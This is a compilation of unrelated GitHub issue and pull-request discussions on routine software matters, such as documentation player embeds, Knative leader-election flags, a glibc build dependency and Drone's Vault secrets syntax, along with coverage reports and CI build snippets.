use [snack.io][PLAYER] instead of react-native-web-player

Use Snack.io player instead of the react-native-web-player in the following sections.
Related issue #1131

[x] The Basics
[x]  Guides
[x] Guides (IOS)
[x] Guides (Android)
[x] Components
[x] API

hmm that deploy preview seems wrong 🤔

hey @ecreeth, thanks for doing this! could you change SnackPlayer embeds to use web by default when they make sense on web? eg: most of the stuff in the the "basics" section except where we used SnackPlayer prior to this PR would make more sense with the web default.
to do this you can add it as an additional param for the code block:
```SnackPlayer name=Hello%20World&platform=web

Thank you for this! I was about to do it but I didn't know how 😄

looks good! @ecreeth - can you backport this to the 0.60 docs too? then I think it's ready to go!

hey @ecreeth! I rebased against master and changed every instance of ReactNativeWebPlayer to SnackPlayer in https://github.com/facebook/react-native-website/pull/1174, so let's continue there.

Great!!


Create directories before trying to clone to them.

Some versions of git do not create deep directories. For example this may or may not work on your box:
git clone git@github.com:tinytacoteam/zazu.git foo/bar/baz

This is a potential fix for #87
Can you verify @gvoysey ? You can download it here.

UX is much improved.
Text input is crippingly slow, though.

@gvoysey this might be related to the zazu-file-finder plugin. Can you remove it and see if that improves it?


Project broken

I add your library by use CocoaPods.
It have a lot of errors and Xcode 8 cannot compile it.
Looks like it done on Swift 2 not on Swift 3 like it pretend to be.

RespondeDetective 0.5, which is the latest version, is written in Swift 2. If you want to use Swift 3 version, please explicitly use bleeding-edge develop branch or wait for 1.0 release which is coming very, very soon.

@laindow: Just FYI, ResponseDetective 1.0 has been released. 😉


JW-366 added new tests and PS script for running them

Please don't review the xmls. They are downloaded from Juniper/contrail-vrouter/master

Retest this please

Retest this please


Users don't dare to post

In many cases, users report they would like to post sth but don't know how to write it or what kind of content to post.

@ waffle discussion column tagging: what's the question to be discussed here? :)
(this is design work that's open and that someone needs to tackle either alone or together in an ideation session, e.g. using the design studio method)
if the question is whether or not we should (given time) then that's a definitive yes :)

statement and not an issue -> closing this issue (whats new and whats around auto creation)


Define flag --leader-election-enabled for sharedmain

Fixes https://github.com/knative/pkg/issues/1319
Preview of knative-serving using this flag is at https://github.com/knative/serving/pull/8205
When/if this is merged , there will be changes needed in knative/serving, net-istio, net-kourier, net-certmanager because the common flags master and kubeconfig are now at "sharedmain" package level. These are in fact common to all the repositories so no need to duplicate them everywhere. See the knative-serving PR for details

I would rather see this in a config map, in-fact, there is already a leader election config map: https://github.com/knative/serving/blob/master/config/core/configmaps/leader-election.yaml

ah in the linked issue this was talked about. The flag is about forcing a re-roll out for the change to the pods.
Ignore me :D

Sure. it's possible to keep default as it is now. I'm just curious what will be the signal to flip the behavior and enable this by default. Because it's not clear right now. See my comment on https://github.com/knative/pkg/issues/1319. All tests pass if the Leader Election is enabled and the controllers have just a single pod - that could be default behavior even now, IMO.
If this is not desired let me know if it's better to have --leader-election-disabled with true as default or --leader-election-enabled with false as default.

@mattmoor I've rebased it to the latest changes from you. And also changed the default to leader election disabled. Can you review, pls?

@mgencur what's the status here ?

@matzew hey, please look at my comment in the linked issue. Closing this.


nixos/test-driver: fix resource cleanup of vlan/qmp objects

Using __del__ is somewhat unsound to do resource cleanup. In our case the logger already closed its logfile and therefore fails with exception before the rest of the resources can be cleaned up.

Things done

Built on platform(s)

[x] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

For non-Linux: Is sandboxing enabled in nix.conf? (See Nix manual)

[ ] sandbox = relaxed
[ ] sandbox = true

[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[x] Tested basic functionality of all binary files (usually in ./result/bin/)
24.11 Release Notes (or backporting 23.11 and 24.05 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[x] Fits CONTRIBUTING.md.

Add a :+1: reaction to pull requests you find important.

Nit: there's a typo in the commit message: s/clase/case/

Awesome, thank you!


fix(sorting): Favor snomed resources over other toolings

Codecov Report
Base: 64.24% // Head: 64.25% // Increases project coverage by +0.00% :tada:

Coverage data is based on head (3a6b63e) compared to base (670d8f0).
Patch coverage: 55.55% of modified lines in pull request are covered.

Additional details and impacted files
@@            Coverage Diff            @@
##                8.x    #1061   +/-   ##
=========================================
  Coverage     64.24%   64.25%
- Complexity    12432    12436    +4
=========================================
  Files          1732     1732
  Lines         58038    58046    +8
  Branches       5358     5360    +2
=========================================
+ Hits          37289    37295    +6
- Misses        18448    18450    +2
  Partials       2301     2301

Impacted Files
Coverage Δ

...tional/snowowl/core/internal/ResourceDocument.java
94.50% <ø> (ø)

...nowowl/core/request/BaseResourceSearchRequest.java
86.11% <42.85%> (-3.00%)
:arrow_down:

...src/com/b2international/snowowl/core/Resource.java
86.95% <100.00%> (+0.14%)
:arrow_up:

.../b2international/index/es/client/EsClientBase.java
67.36% <0.00%> (-1.06%)
:arrow_down:

...index/src/com/b2international/index/es/EsNode.java
83.33% <0.00%> (+1.04%)
:arrow_up:

...onal/snowowl/snomed/core/tree/TerminologyTree.java
87.23% <0.00%> (+2.12%)
:arrow_up:

...national/snowowl/core/locks/OperationLockInfo.java
46.66% <0.00%> (+3.33%)
:arrow_up:

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.

:umbrella: View full report at Codecov.
:loudspeaker: Do you have feedback about the report comment? Let us know in this issue.


[BULK UPDATE] DocuTune - Fix build validation issues: docs-link-absolute

Global effort to fix build validation errors
The Microsoft Skilling team is fixing build validation errors and specific brand inconsistencies in Microsoft technical documentation for the rest of FY23 Q1. This will help address various accessibility, security, and usability issues. This PR was generated using DocuTune. It includes only targeted fixes and minor formatting adjustments.
DocuTune PRs improve quality of technical content by finding and automatically correcting a broad set of issues only where the correction is suitable. Please review within five business days and merge or comment in the PR with any changes you'd like to see. Thank you!
CorrelationId: 0df9c2d6-63f8-4d1e-8b57-b33611a06514
InitiativeId: docutune-build-validation-issues-2022-05
PointOfContact: Alex Buck

#docutune-draft

Docs Build status updates of commit c299305:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

CONTRIBUTING.md
:white_check_mark:Succeeded

README.md
:white_check_mark:Succeeded

For more details, please refer to the build report.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
For any questions, please:Try searching the docs.microsoft.com contributor guidesPost your question in the Docs support channel

#docutune-ready

@DCtheGeek @DhurataJ @hkhmsft @JiayueHu @Khairunj @mattwojo @tfosmark @v-alje
Please merge the changes in this PR. For more information, see the description at the top of this PR.
Any pre-existing build validation issues or insufficient Acrolinx scores should be addressed in a separate PR.
#docutune-request-approval


Remove unsightly blank lines in --help output

Fixes #244.

@gsscoder - Any comment on this PR?

@gsscoder - Ping, again. It would be nice to get this one-line bugfix merged in. Right now the fact that this isn't in the official NuGet package is forcing me to create a custom NuGet package, complicating my build process for the project that uses CommandLine. I'd like to be able to go back to using the official NuGet package for my project, but that means getting this PR merged in. Is there any reason not to merge it in?


runners: jlink: Fix NoneType object error

The commit 221199e15b85a070b3d81709eee3d533c9f99967 presents a bug that makes west flash failed with error.
AttributeError: 'NoneType' object has no attribute 'startswith'
In function is_tunnel(), tunnel may contain None and has no attribute "startswith".

attn: @adamdunkels

attn: @adamdunkels

looks good!

CI error seems unrelated to the change:
INFO    - 590/736 nrf54h20dk/nrf54h20/cpuapp tests/drivers/pwm/pwm_api/drivers.pwm.pwm_fast      ERROR Build failure (build)``

CI error seems unrelated to the change:
INFO - 590/736 nrf54h20dk/nrf54h20/cpuapp tests/drivers/pwm/pwm_api/drivers.pwm.pwm_fast ERROR Build failure (build)

Global CI issue, new PRs has this CI error now.

CI error seems unrelated to the change:
INFO - 590/736 nrf54h20dk/nrf54h20/cpuapp tests/drivers/pwm/pwm_api/drivers.pwm.pwm_fast ERROR Build failure (build)

Global CI issue, new PRs has this CI error now.

Has been fixed in #79904, rebase on main


[SimpleList] i18n is not being respected

What package is this for?

[x] React
[ ] Angular

Describe the bug
i18n prop should be merged with defaultProps so the user doesn't have to provide all i18n
To Reproduce
Steps to reproduce the behavior:

Go to any List story
add 1 of the 18n as a prop
See that errors are thrown because the defaultProps of i18n are not being respected

Expected behavior
Consumer should be able to provide only some of the i18n and let the defaultprops take care of the rest

:tada: This issue has been resolved in version 2.134.4 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


Replace 'loss' parameter by 'objective' which has a more interesting interface.

Adds a more interesting interface for specifying losses.  The loss parameter is now deprecated, and one should use objective instead.  Here's an example of an 'Objective' implementation from nolearn.lasagne itself.
class LossObjective(object):
    def __init__(self, loss_function):
        self.loss_function = loss_function

    def __call__(self, layers, X, y, deterministic=False):
        output_layer = layers['output']
        return self.loss_function(
            output_layer.get_output(X, deterministic=deterministic), y)

@cancan101 Let me know if this makes sense to you, and if it would fix #14.

Looks good to me.

@dnouri , @cancan101, I am still confused why we could introduce e.g. L2 regularization by such LossObject class.

The current signature for loss is not rich enough to calculate the penalty on the weights.


Add Support for Schema Registry in Protobuf Decoder

Currently, the protocol buffer decoder for realtime data only supports file descriptors. This PR adds support for Confluent Kafka Schema Registry as well. You can set the following options to read schema from the registry
"stream.kafka.decoder.class.name": "org.apache.pinot.plugin.inputformat.protobuf.KafkaConfluentSchemaRegistryProtoBufMessageDecoder",
"stream.kafka.decoder.prop.schema.registry.rest.url": "http://localhost:2222/schemaRegistry",
"stream.kafka.cached.schema.map.capacity": 1000

Prerequisite
The messages in the kafka topic should be serialized using io.confluent.kafka.serializers.protobuf.KafkaProtobufSerializer for the decoder to work correctly

Codecov Report

Merging #9220 (3f78cc5) into master (2f19683) will decrease coverage by 2.74%.
The diff coverage is n/a.

@@             Coverage Diff              @@
##             master    #9220      +/-   ##
============================================
- Coverage     69.88%   67.13%   -2.75%
+ Complexity     5008     4816     -192
============================================
  Files          1854     1380     -474
  Lines         98871    71829   -27042
  Branches      15043    11499    -3544
============================================
- Hits          69094    48221   -20873
+ Misses        24904    20119    -4785
+ Partials       4873     3489    -1384

Flag
Coverage Δ

integration1
?

integration2
?

unittests1
67.13% <ø> (+0.03%)
:arrow_up:

unittests2
?

Flags with carried forward coverage won't be shown. Click here to find out more.

Impacted Files
Coverage Δ

...va/org/apache/pinot/core/routing/RoutingTable.java
0.00% <0.00%> (-100.00%)
:arrow_down:

...va/org/apache/pinot/common/config/NettyConfig.java
0.00% <0.00%> (-100.00%)
:arrow_down:

...a/org/apache/pinot/common/metrics/MinionMeter.java
0.00% <0.00%> (-100.00%)
:arrow_down:

...g/apache/pinot/common/metrics/ControllerMeter.java
0.00% <0.00%> (-100.00%)
:arrow_down:

.../apache/pinot/common/metrics/BrokerQueryPhase.java
0.00% <0.00%> (-100.00%)
:arrow_down:

.../apache/pinot/common/metrics/MinionQueryPhase.java
0.00% <0.00%> (-100.00%)
:arrow_down:

...ache/pinot/server/access/AccessControlFactory.java
0.00% <0.00%> (-100.00%)
:arrow_down:

...he/pinot/common/messages/SegmentReloadMessage.java
0.00% <0.00%> (-100.00%)
:arrow_down:

...he/pinot/common/messages/TableDeletionMessage.java
0.00% <0.00%> (-100.00%)
:arrow_down:

...pinot/core/data/manager/realtime/TimerService.java
0.00% <0.00%> (-100.00%)
:arrow_down:

... and 709 more

:mega: We’re building smart automated test selection to slash your CI/CD build times. Learn more


Mobile Navigation Submenu scrolling

Description:
When navigating in the mobile navigation scrollbars appear and subnavigations dont get removed.
Environment:
Shopware <IP_ADDRESS> - <IP_ADDRESS>
Steps to reproduce:

Open mobile offcanvas menu
Click on a Subnavigation item
Click Back

Expected result:
No scrollbar appearing as long as content doesn't overflow.
Actual result:
Horizontal Scrollbar appears and it can be scrolled to the Subnavigation when scrolling right.
Vertical Scrollbar appears because the calculation makes the navigation as high as the offcanvas, not substracting the size of the header element.

[public] Shopware automated response: This issue is linked to the internal issue: NEXT-32376
[created from NEXT-32376, comment 514429]

@MarcelSchmaeing Why has this ticket been closed as not planned? From my perspective, the issue still exists.


clone-with-op is not documented

Here is the example of clone-with-op method
$ perl6 -e 'my $range = 0..3; my $new-range = $range.clone-with-op(&[+] , 10); say $new-range;'
10..13

https://github.com/rakudo/rakudo/blob/nom/src/core/Range.pm#L623-L630
(I created this new one because #818 contains two issues in one thread and the other issue is already solved.)

Would it go to Ranges too?

@JJ
IMHO, at least, it requires testing in roast.
See also: https://github.com/perl6/doc/issues/835

I don't close the ticket, since it could serve to add a test in roast.

We shouldn't be documenting things that aren't part of Perl 6 language. What Rakudo does doesn't define the language, the spec does.
I don't see Range.clone-with-op even in the proposals for 6.d language.
IMO, it shouldn't be added to the language:

It's an outlier to language features we offer—the same reasoning offered in the commit implementing it can be used for some other objects, like DateTime, yet we don't have .clone-with-op for them
The majority of cases where this method would be useful are already covered by operators +, -, /, and * applied to Range objects
The results with the many of the other Callables are bizarre, invalid ranges. If we're going to claim a DIHWIDT for 99% of method's usage, why implement it at all?

    .say with ^Inf .clone-with-op: &substr, 1; # OUTPUT: ""..^"nf"

It also has a bug in it:
$ ./perl6 -e 'with ^Inf .clone-with-op: &[andthen], 42 { .say; .infinite.say; .pick.say }'
42..^42
True
Nil

It looks to me like clone-with-op was added to support the implementation of the various arithmetic operators on Range. It's name pretty much screams "implementation detail" too. I guess it factors out some repetition compared to if the ops all implemented the functionality directly, which is a good thing. Perhaps there's a way to move the logic into Rakudo::Internals instead, so we don't "leak" it into the user-facing API.


the terminal has issues have been trying ot fix for the last like 3 months ,

Type: Bug
the terminal has issues have been trying ot fix for the last like 3 months ,
the issue started when i installed powershell 7 .. befor ei had not encoutered such. now i can not use the intergrated termonal. i have to use the external terminal whether is git bash or cmd or ps. when i click to ad terminal i get to window of the terminal and i can only work on one while the other one is inactive.
i have re istalling vs code , and also ps , i have tried changing the enviroment path ,
i have also tried using some json settings for the terminal ut nothing seems to work so please help if you need more information on this bug please let me know i will be happy to help as i seek help
VS Code version: Code 1.86.0 (05047486b6df5eb8d44b2ecd70ea3bdf775fd937, 2024-01-31T10:28:19.990Z)
OS version: Windows_NT x64 10.0.18363
Modes:

System Info

Item
Value

CPUs
Intel(R) Core(TM) i3-7020U CPU @ 2.30GHz (4 x 2304)

GPU Status
2d_canvas: enabledcanvas_oop_rasterization: enabled_ondirect_rendering_display_compositor: disabled_off_okgpu_compositing: enabledmultiple_raster_threads: enabled_onopengl: enabled_onrasterization: enabledraw_draw: disabled_off_okskia_graphite: disabled_offvideo_decode: enabledvideo_encode: enabledvulkan: disabled_offwebgl: enabledwebgl2: enabledwebgpu: enabled

Load (avg)
undefined

Memory (System)
11.89GB (3.41GB free)

Process Argv
--crash-reporter-id 20409a5a-d52a-4d8d-b3a4-10e45a0658c1

Screen Reader
no

VM
0%

Extensions (33)

Extension
Author (truncated)
Version

simple-react-snippets
bur
1.2.7

mobileview
cir
0.0.7

dart-code
Dar
3.82.0

flutter
Dar
3.82.0

prettier-vscode
esb
10.1.0

auto-rename-tag
for
0.1.10

code-runner
for
0.12.1

c-cpp-runner
fra
9.4.7

vscode-react-typescript
inf
1.3.1

cpptask
kay
0.0.1

vscode-gutter-preview
kis
0.30.0

rainbow-csv
mec
3.11.0

debugpy
ms-
2024.0.0

python
ms-
2024.0.1

vscode-pylance
ms-
2023.12.1

remote-containers
ms-
0.338.1

remote-ssh
ms-
0.108.0

remote-ssh-edit
ms-
0.86.0

remote-wsl
ms-
0.86.0

vscode-remote-extensionpack
ms-
0.25.0

cmake-tools
ms-
1.17.15

cpptools
ms-
1.19.3

cpptools-extension-pack
ms-
1.3.0

powershell
ms-
2024.0.0

remote-explorer
ms-
0.4.1

remote-server
ms-
1.5.0

LiveServer
rit
5.7.9

run-in-powershell
tob
1.2.0

pdf
tom
1.2.2

cmake
twx
0.0.17

vscode-lldb
vad
1.10.0

intellicode-api-usage-examples
Vis
0.2.8

vscodeintellicode
Vis
1.2.30

(1 theme extensions excluded)

A/B Experiments
vsliv368:30146709
vspor879:30202332
vspor708:30202333
vspor363:30204092
vscorecescf:30445987
vscod805:30301674
binariesv615:30325510
vsaa593:30376534
py29gd2263:30899288
vscaat:30438848
c4g48928:30535728
azure-dev_surveyone:30548225
vscrpc:30673769
962ge761:30951796
pythongtdpath:30769146
welcomedialog:30910333
pythonidxpt:30866567
pythonnoceb:30805159
asynctok:30898717
pythontestfixt:30902429
pythonregdiag2:30936856
pyreplss1:30897532
pythonmypyd1:30879173
pythoncet0:30885854
pythontbext0:30879054
dsvsc016:30899300
dsvsc017:30899301
dsvsc018:30899302
dsvsc019bcf:30953938
3ef8e399:30949928
e3gdj431:30956216

Thanks for creating this issue! It looks like you may be using an old version of VS Code, the latest stable release is 1.86.2. Please try upgrading to the latest version and checking whether this issue remains.
Happy Coding!

It looks like your report is missing some important information, See this wiki page for more info on how to report actionable terminal issues.


glibc: depends on gawk

Building from source because of #952 I got:
==> ../configure --disable-debug --disable-dependency-tracking --disable-silent-rules --prefix=/home/linuxbrew/.linuxbrew/Cellar/glibc/2.19 --enable-obsolete-rpc --without-selinu
Last 15 lines from /home/linuxbrew/.cache/Homebrew/Logs/glibc/01.configure:
checking for gnumake... no
checking for gmake... no
checking for make... make
checking version of make... 3.81, ok
checking for gnumsgfmt... no
checking for gmsgfmt... no
checking for msgfmt... no
checking for makeinfo... no
checking for sed... sed
checking version of sed... 4.2.2, ok
checking for gawk... no
checking for nm... nm
configure: error:
*** These critical programs are missing or too old: gawk
*** Check the INSTALL file for required versions.

Doing further tests whether simply adding a dependency will solve the issue.
Env: Docker linuxbrew/linuxbrew 7c827ee662db, Homebrew f0e235a

At https://sourceware.org/glibc/wiki/FAQ#Compiling_glibc, there's a list of necessary build dependencies, including gawk and perl.
Thanks for the bug report @DoomHammer!

Fascinating thing is that installing deps one by one seems to work. Only trying to brew something that installs a dep first fails.
Separate issue: glibc won't build with gcc-4.3. Seems the :chicken: is eating its :egg: or something alike... Catch 22?

Yes, even CentOS 5 has gcc 4.4 available as an optional package, which is able to build glibc. I'm not sure how to install glibc with a system that has gcc 4.3. Install a deb for a newer release of GCC if you can. Perhaps a backport?
It might be possible to do something like
brew install gcc --without-glibc
brew install glibc
brew install gcc --with-glibc

but it would be tricky.

Currently the README.md says that the minimum version off GCC is 4.2. I'm going to increase that to 4.4.

Pieces don't fit. gcc-4.4 in Debian pulls in glibc 2.11 so back to the drawing board.

Move to https://github.com/Linuxbrew/brew/pull/34 and https://github.com/Linuxbrew/homebrew-core/pull/231


matrix/irc: Update docs to conform to style guide.

@timabbott: This is a follow-up to #9491. :)
@rishig: FYI :)

I merged the first 2 commits; the third looks wrong; it both duplicates the discussion of IRC, as well as moves the list of banned channels up (I don't think that's necessary, because those channels are rare).
Can you update that last commit?  Also @neiljp @rheaparekh FYI.

Some of these changes mimic those in #9705, though I'm less aware of the macros.

@timabbott, @neiljp: Updated! :)

merged, thanks @eeshangarg!
fyi @neiljp

Updated in https://github.com/zulip/zulip/commit/bccf2ca67b6de6831aba505fd50c7483cefd1b50. @eeshangarg fyi.


Extend vault syntax to support multi-kv paths

The current vault implementation assumes secrets are added using the value key:
vault wire secret/login/username value=xxx
vault wire secret/login/password value=xxx

However in many cases multiple secrets are added to the same path as multiple key-value pairs:
vault wire secret/login username=xxx password=xxx

To support paths with multiple key-value pairs, we will need to augment the current implementation so that one can specify which key to use. I have included a few different options below.
disclaimer any options that we suggest need to be compatible with the docker-compose syntax, where the secrets section is of type map[string]Secret
option 1: specify key in path, with delimiter
secrets:
  username:
    path: secret/login@username

option 2: specify key as attribute
secrets:
  username:
    path: secret/login
    key: username

option 3: enable a string OR object type. if just the path string is provide, we assume the key is value
secrets:
  # supports: vault write secret/login/password value=xxx
  password:
    vault: secret/login/password
  # supports: vault write secret/login username=xxx
  username:
    vault:
      path: secret/login
      key: username

Option 2 is more verbose but also more obvious. I don't think I'd make the connection as to what's happening in option 3 without reading docs or asking in Slack.

@bradrydzewski The vault feature only support enterprise version?

I prefer option 1, this should be BC just considering string without @ as value key, make YML file more readable (and compact).

I suggest a poll using:

😄 => 1
❤ => 2
🎉 => 3

I like option 1 and 2 the most from a usability perspective.
But wonder if something like option 3 is needed in case we have more secret plugins in the future ... like what if I wanted to use vault but also some other secrets tool?  Seems would need a way to identity which secret store to grab secrets from.  So not saying this is a plus for 3 necessarily, but maybe something that somehow needs to be considered for 1 and 2 also?
Also, I think all options should default to value key if nothing is explicitly set.  This would keep things backwards compatible (since specifying a key currently isn't required) and just make things easier since I think most people will use it in it's simplest form.

Sorry, what I meant to say is people seem happy enough to use it for singular k/v pairs per secret.
The k being the secret name and the v being the value as currently documented in http://docs.drone.io/vault-secrets/
I updated my above comment to try and clarify.

Hi @jmccann ,
If you look at the " First secret " part of the docs for vault you can see that writing multiple key values to a single secret is a valid use case.
https://www.vaultproject.io/intro/getting-started/first-secret.html

You can even write multiple pieces of data, if you want:

$ vault write secret/hello value=world excited=yes
Success! Data written to: secret/hello

vault write is a very powerful command. In addition to writing data directly from the command-line, it can read values and key pairs from STDIN as well as files. For more information, see the command documentation.

I will admit that I had not considered getting secrets from two different secret engines ( vault and the built in secret engine in drone) so option 3 is a valid answer in my workflow... Which has multiple key / values in a single secret.
For reference we use this workflow to store certificates and the certificate key ( along with other bits associated with the certificate)

@bradrydzewski  Do we have a test version or some update on this?
thx

Thanks everyone for the feedback. I do have an initial implementation available in master and in the latest image in Dockerhub. The syntax and behavior is described below.
You can use the same syntax you use today (no breaking changes). This will use the value key by default to extract the secret. This syntax will be deprecated and removed from the documentation, but will continue to work pre and post 1.0 (so don't worry)
secrets:
  docker_username:
    path: secret/login/password

You can also use an extended syntax:
secrets:
  docker_username:
    driver: vault
    driver_opts:
      path: secret/login
      key: password

The latter implementation is fully compatible with the docker compose specification. If it seems a bit verbose it is because keeping parity with the specification is an important factor that drives how we implement YAML features.
You will also notice this change includes the driver field. This is going to be important going forward so that we can support various secret stores, including the amazon and google key stores, as well as other vault drivers and maybe even custom drivers.
secrets:
  docker_username:
+   driver: vault

Hi @bradrydzewski
I found a bug in the new multikey implementation.  I have a test job that takes a base64 encoded text file and the length of the unencoded original length of the text file and I place those into a vault secret.  For example:
[:~] $ vault read secret/internal/CI/kubeconfig
Key                 Value
---                 -----
refresh_interval    768h
count               26476
value               YXBpVmVyc2lvbjogdjEKY2x1c3RlcnM6Ci0gY2x1...snippet

I have a bash script that pulls these values out of vault and makes them env values and then I run drone exec and everything runs and works.
[:~/work … cial/drone-test-vault] test_multikey_drone ± cat run_local_test_with_vault.sh
#!/bin/bash
set -x
#To run this test with `drone exec` you have to have already authenticated with vault.  You must also have jq installed

if [ -z "$KUBECONFIG64" ]; then
 KUBECONFIG64=$(vault read -format=json secret/internal/CI/kubeconfig | jq -r '.data.value')
 export KUBECONFIG64
fi
if [ -z "$count" ]; then
 COUNT=$(vault read -field=count secret/internal/CI/kubeconfig)
 export COUNT
fi

drone exec

However when I run the job on the actual drone server it fails...  The .drone.yaml looks like this:
    13	pipeline:
    14	  # The build step just obtains the kube config file and places it in the shared container directory
    15	  build:
    16	    image: alpine:latest
    17	    secrets: [KUBECONFIG64, COUNT]
    18	    volumes:
    19	      - kube_cache:/root/.kube
    20	    privileged: true
    21	    environment:
    22	      - KUBECONFIG=/root/.kube/config
    23	    commands:
    24	      - if [ -z "$COUNT" ]; then echo "Don't have the COUNT env variable defined"; exit 1;  fi
    25	      - if [ -z "$KUBECONFIG64" ]; then echo "Don't have the COUNT env variable defined"; exit 1; fi
    26	      - mkdir -p /root/.kube/
    27	      - echo -n "$KUBECONFIG64" | base64 -d > /root/.kube/config
    28	      - echo -n "$KUBECONFIG64" | base64 -d | wc -c > /tmp/count.txt
    29	      - echo "$COUNT" > /tmp/reference_count.txt
    30	      - DECODE_SIZE=$(cat /tmp/count.txt)
    31	      - if [ "$COUNT" != "$DECODE_SIZE" ]; then echo "Sizes don't match!";  echo "DECODE_SIZE=|$DECODE_SIZE| and COUNT=|$COUNT|"; exit 1; fi
    32	      - cat /tmp/reference_count.txt
    33	      - cat /tmp/count.txt
    34	      - diff -Nau /tmp/reference_count.txt /tmp/count.txt

It fails on line 31 because count is getting a line feed
here is the output:
+ if [ -z "$COUNT" ]; then echo "Don't have the COUNT env variable defined"; exit 1;  fi
+ if [ -z "$KUBECONFIG64" ]; then echo "Don't have the COUNT env variable defined"; exit 1; fi
+ mkdir -p /root/.kube/
+ echo -n "$KUBECONFIG64" | base64 -d > /root/.kube/config
+ echo -n "$KUBECONFIG64" | base64 -d | wc -c > /tmp/count.txt
+ echo "$COUNT" > /tmp/reference_count.txt
+ DECODE_SIZE=$(cat /tmp/count.txt)
+ if [ "$COUNT" != "$DECODE_SIZE" ]; then echo "Sizes don't match!";  echo "DECODE_SIZE=|$DECODE_SIZE| and COUNT=|$COUNT|"; exit 1; fi
Sizes don't match!
DECODE_SIZE=|26476| and COUNT=|26476
|

Notice that I put the pipe symbol '|' around the variables.  So for some reason when the drone server reads the value it's putting a line feed in where as when I do a vault read with -field or even -format=JSON there is no line feed.
Does this bug description make sense?

After a personal discussion with Brad i discovered that the way I was adding the count variable had a line feed in it, but when I was placing the count variable on to the ENV I was doing it with echo -n which was clipping the line feed.  I'm now removing the line feed when I add the secret:
cat ~/.kube/allconfig | wc -c | tr -d ' '| tr  -d '\n'

closing this issue. This feature is available in 0.8.5 image. Thanks everyone!


terraforming fixes on ctl.io

There's some dependency conflict when upgrading this package on CLC image; I find this way of resolving it a bit more convenient than installing open-vm-tools by hand later. @ack, please take a look.

I've cherry-picked @ack commit fixing glitch with longer account aliases on ctl.io. Previously, upstream version would fail for some accounts.

—
You are receiving this because you were mentioned.
Reply to this email directly or view it on GitHub
https://github.com/CiscoCloud/mantl/pull/1311#issuecomment-204556433


quick-minutes:1.2.0

I am submitting

[x] an update for a package

Description: Customisation options for header, footer, background and head-section & small bugfixes

Thanks!


[Request] Add GetBlobMetadata procedure to ABS Blob Client codeunit

Hello,
In codeunit 9053 ABS Blob Client there is a procedure with several overloads GetBlobTags that allows us to get the tags associated with a particular blob in the Azure Blob Storage container. The tags can be retrieved as either an XmlDocument or Dictionary[Text, Text].
Is it possible to add similar procedures GetBlobMetadata to allow us to also get the metadata associated with a particular blob using ABS Blob Client?
Thanks in advance for your time.

That would be a perfect candidate for a contribution. Please feel free to create a pull request here on GitHub for the overloads that you require!


I need some help with getting this to work

It works but just for body not for texterea even though I added height: 100%;
with textarea I mean http://phpbb.miscy.net/posting.php
Also I wonder how much code do I need to add to replace all default scrollbars with the  rounded-dots one?
the url is here: http://phpbb.miscy.net/index.php
My code can be found here:
http://pastebin.com/KPD567bw
also how to decrease the load time of the script?
Edit now I just need to get it to work in a textarea on a phpbb board.
and to increase the scroll speed when you hit either top or bottom arrow of the scrollbar?

textareas need special code which you can see in textarea_example.html included in plugin archive:
https://github.com/malihu/malihu-custom-scrollbar-plugin/blob/master/examples/textarea_example.html

I tried that code but it didn't work.


added simple project crud

Still drafting, but I implemented the basic crud functionality.
@jandix @DatenBergwerker There are mainly two points worth discussing.

Shall we create database sessions in the requests via dependency injections (current implementation) or shall we maintain a central connection as part of the app life cycle. In terms of load the second option should be fine since the session is async but I'm not sure whether flushes and commits from different requests could potentially interfere.
Any column suggestions that we should absolutely include? A few things where omitted on purpose so far

enum representation of status will be done as part of #23
no relations such as organizations or people where defined yet because I wanted to wait a little bit until we have data models and example data in place for other entities.

Before finishing the draft I'll still implement a few tests and try to create a first version of a script to populate projects from our cms.

@KonradUdoHannes Thank you for providing the draft.

I would prefer using a dependency because we can use FastAPI's dependency overwrite for testing. Additionally, we can implicitly commit, rollback and handle exceptions related to the database. This setup would also provide us with implicit transactions. However, we should probably exhaustively manage this behaviour then. Please find a snippet below:

async def get_db_session() -> AsyncGenerator[AsyncSession, None]:
    async with LocalSession() as session:
        try:
            yield session
            await session.commit()
        except Exception as e:
            logger.exception(e)
            await session.rollback()
            raise
        finally:
            await session.close()

I think for the basic setup this should be fine. Two considerations.

Should we already add the tags (e.g.: Python, Welfare, etc.) that will be defined in the taxonomy or should we create a separate issue for this?
I have some bad experience with enums in SQLAlchemy, Alembic, and Postgres. The enum will be created but not torn down when the revision is reverted. Maybe we can normalise the schema and create a separate table for the stages linked via a foreign key? What do you think?

Should we include the database changes in the initial revision? Maybe we can create a single revision when merging?
We should be consistent with model and table names. Do we always use singular notation for database models and database tables? What is the notation for Pydantic schemas? That is something that we can probably discuss in our next call?

@jandix I added some tests and set the PR to review.
Regarding the database transactions I refactored the current version to use the session makers .begin method to create a context with both a session and a transaction at the same time. Did you mean that by implicit transactions. Either way I find it quite nice to use that way.
I also create a script to populate projects from our cms via both their APIs. I didn't commit this script so far because I think we could maybe discuss where to put this and similar scripts, because they are then very CorrelAid specific. At the same time this currently only uses a public endpointof our cms, so everybody could actually run it.
I think we should also finish the discussion regarding migrations (merged vs. separate) before merging.

@jandix Thanks for the review. I actually refactored a little and since the approval stays valid I just wanted to let you know. Basically I encapsulated the database interactions into a separate ProjectStore class to be used as a dependency injection. This allows for easier testing by overwriting dependency ProjectStore itself as opposed to low level Session dependencies. In that context I also added the first test that works without a database. This will make it a little more meaningfull to set up CI if there is actually something to test.
I also included alembic migrations in the test setup itself. This makes testing a tiny bit more convenient now, and  it will allow us to more easily build db tests for CI with sqllite in the future if we want to.


ANDROID_HOME not picked up on remote machine

Even though ANDROID_HOME is set up on the remote machine
echo $ANDROID_HOME
/opt/android-sdk

The build fails with a
* What went wrong:
A problem occurred configuring project ':audiobook'.
